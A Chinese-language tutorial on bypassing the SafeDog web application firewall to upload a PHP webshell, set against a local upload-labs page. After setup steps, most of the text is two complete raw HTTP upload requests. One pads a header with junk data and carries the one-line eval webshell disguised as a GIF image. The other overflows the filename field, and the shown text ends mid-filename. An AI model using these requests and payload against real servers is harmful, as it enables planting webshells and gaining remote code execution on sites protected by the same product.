目录
测试工具:Burpsuite,安全狗
测试网站:
在没有安全狗的情况下,上传1.Php,以文件大小写后缀上传,是不会被拦截的,如下图
安全狗的安装
安全狗地址:网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改,选择windows操作系统,Apache版本选择4.0,一直默认安装即可
在默认安装时,会跳出需要填写关于Apache的服务名
首先,phpstudy关闭Apache服务,然后将运行模式更改为“系统服务”,打开管理员权限的cmd
使用管理员启动cmd,进入phpstudy/apache/bin目录
cd c:/comsenzexp/apache/bin/httpd.exe
执行如下命令
httpd.exe -k install -n apache2.4
出现service is successfully installed 代表安装成功
在服务列表中出现apache服务
再次运行phpstudy,在安全狗的服务名一栏填写apache2.4即可
出现拦截页面,则代表安装成功
将安装好安全狗后,安全狗已经自动将需要的拦截开启了
再测试一下,先上传一句话木马,放包的时候,可以看到已经被拦截了
垃圾数据绕过:
POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 10139
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------256355090225943020492268668928
Content-Disposition: form-data;nxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwenxsuaeiuwiyidiuwwwwwwwwwwwww;wwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwedd; name="upload_file"; filename="1.Php"
Content-Type: image/jpeg
gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"
上传
-----------------------------256355090225943020492268668928--
数据包溢出绕过:
POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 7781
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa